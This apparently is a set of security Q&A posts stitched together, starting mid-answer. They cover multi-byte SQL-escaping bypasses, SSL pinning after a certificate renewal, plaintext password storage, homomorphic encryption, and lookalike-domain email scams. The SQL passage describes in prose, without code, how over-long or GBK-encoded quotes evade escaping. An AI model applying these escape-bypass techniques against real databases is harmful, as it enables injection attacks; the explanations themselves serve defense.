However, if you try to escape untrusted inputs and then form a SQL query dynamically using string concatenation, you may be vulnerable to multi-byte attacks.  Whether you are in fact vulnerable depends upon specific details of the escaping function you use, the database you use, the character encoding that you're using with the database, and possibly other factors.  It can be hard to predict whether multi-byte attacks will succeed.  As a result, forming SQL queries using string concatenation is fragile and not recommended.

Technical details. If you'd like to read about the details of the attacks, I can provide you with a number of links that explain the attacks in great detail.  There are several attacks:

Basic attacks on, e.g., UTF-8 and other character encodings by eating up extra backslashes/quotes introduced by the quoting function: see, e.g., here.
Sneaky attacks on, e.g., GBK, that work by tricking the quoting function to introduce an extra quote for you: see, e.g., Chris Shiflett's blog, here, or here.
Attacks on, e.g., UTF-8, that conceal the presence of a quote by using an invalid non-canonical (over-long) encoding of the single quote: see, e.g., here.  Basically, the normal way of encoding a single quote has it fit into a single-byte sequence (namely, 0x27).  However, there are also multi-byte sequences that the database might decode as a single quote, and that do not contain the 0x27 byte or any other suspicious byte value.  As a result, standard quote-escaping functions may fail to escape those quotes.


Android pinning SSL handshake Exception after SSL renewal of website i've an android app with ssl pinned it was working fine but after i've renewed the SSL now its throwing exception

  javax.net.ssl.SSLHandshakeException:
  java.security.cert.CertPathValidatorException: Trust anchor for
  certification path not found.

does renewel of SSL supposed to be stop the existing app?
what can i do so the old app will work without releasing the new app with new SSL pinning?
The New renewed SSL dont have any chain issues as per SSL lab test

does renewel of SSL supposed to be stop the existing app?

If you change the public key during renewal then breaking pinning is expected. If you keep the public key pinning should still work.

  what can i do so the old app will work without releasing the new app with new SSL pinning?

If the public key changed you have to release a new app with updating pinning information. There is no workaround.


What to do about company that sent my password information in plaintext? I make monthly payments to a website/company who insecurely stores my information. These are in the form of loan payments, so I don't know if I can change who I pay to.

I asked for login assistance one-day and they sent an email saying they logged into my account fine and that this was my password: example123. Additionally, my bank account is stored on the account showing all of the digits of the account rather than last 4.

Is there anything I can do to protect myself?

What you can do, is to reduce the risks to yourself, with reasonable means. By order of importance and least effort:

First, use a unique password for this company, do not reuse it elsewhere, even in part. That way, when the company leaks its database, your other accounts will stay safe.

Second, apply this advice for every website, because you never know, they could be insecure, too. Use a password manager to remember all those passwords; it can even generate new ones for you.

Third, as much as possible, limit the amount of identifying information to send them to the strict minimum. For example, use a dedicated e-mail address, or a redirection to your main address. You can open an (online) bank account just for them.

Fourth, call your bank and your debit/credit card provider (Mastercard, Visa...) to inform them that this company does not store your banking data securely and that you suspect they are not compliant with local laws and PCI-DSS. Tell them you are afraid this put your money at risk. Maybe they will do something, but most probably not: they might just let their insurance cover the costs in case of an incident. But at least you will have done what you can.


Are there any fast Homomorphic Obfuscuation techniques available? Assuming that cryptography falls into one of three areas:

Awfully weak protocols and algorithms, that are trivial to break with a low amount of effort and resources
Cryptographically strong protocols and algorithms that require more time than the lifetime of the Universe to actually crack
The grey area of unproven, academically hard, or where anyone with a modest amount of resources can't break.

Question

Are there any weak, but imperfect homomorphic algorithms or approaches that are fast enough to be used in modern applications?

I'm not sure at what point weak cryptography is considered "obfuscation", but I hope that the relative investment in cryptography has a corresponding improvement in security of my plain text data.

There have been a few implementations of fully homomorphic encryption (2010).  Fully homomorphic means it can perform addition AND multiplication (as opposed to partially homomorphic).

The answer to your question though relies on what you consider "weak" and sufficient for security.  Does the encryption have to stand up for 100 years, or is it OK if it's cracked a week from now (short term secrets such as military troop movements)?

Anyway, homomorphic encryption really isn't ready for prime time.  It's mostly a research area at the moment.  The current "implementations" are very academic with little documentation and haven't been vetted (using encryption which hasn't been tested extensively is a fools errand).

Here's a link anyway if you want see what the current state of the art implementation looks like http://github.com/shaih/HElib/


Emails are forwarded to wrong addresses and possible hacking? Multiple email addresses for my domain have been compromised.

My client forwarded me an old email which he sent me few days ago but I haven't received that email. That email was sent to an email address just like mine but with an O replaced by a zero. So I found out that another domain has been registered just like my domain name.

My client sent an email at the correct address (ceo@rustamtowel.com) but i didn't received that email but scammer (ceo@rustamt0wel.com) received and replied it. Client doesn't know that it was the wrong person and  scammer quote him wrong price and client booked an order on that price. How can scammer receive that email from my client which i haven't received?

How can I check that who is involved and be safe for future. Who can be responsible?

My domain registration guy (my domain is using Nameservers for the hosting and no extra setting i believe)
My Web Hosting Company
Someone from My Own Office

Thanks in advance

Any of those 3 could be responsible, or it could be someone entirely different.

You have no way of knowing, and possibly no way of finding out, as the perpetrator may not even be in your country.

I wouldn't think your email address has been compromised though - nothing you have said indicates compromise.

It just looks like a scammer is being clever with domain names.